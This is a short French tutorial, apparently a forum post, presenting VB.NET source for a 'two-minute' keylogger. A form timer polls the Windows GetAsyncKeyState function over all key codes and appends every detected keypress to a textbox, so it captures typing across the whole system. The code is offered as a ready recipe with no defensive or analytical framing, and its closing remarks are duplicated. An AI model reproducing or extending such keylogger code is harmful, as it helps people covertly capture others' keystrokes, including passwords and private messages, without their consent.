Simple keylogger en 2 min
Voici comment faire un keylogger local trés simplement en moins de 2 minutes chrono en main !
Prés requis :
1textbox
1timer
Codes sources :
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
Voila
Lorsque vous l'éxécuterez vous vous rendrez compte que le keylogger n'enregistre pas toutes les frappes du clavier , mais bon en 2 minutes que voulez-vous avoir de mieux ! ;)
Cordialement p1l0u
Lorsque vous l'éxécuterez vous vous rendrez compte que le keylogger n'enregistre pas toutes les frappes du clavier , mais bon en 2 minutes que voulez-vous avoir de mieux ! ;)
Cordialement p1l0u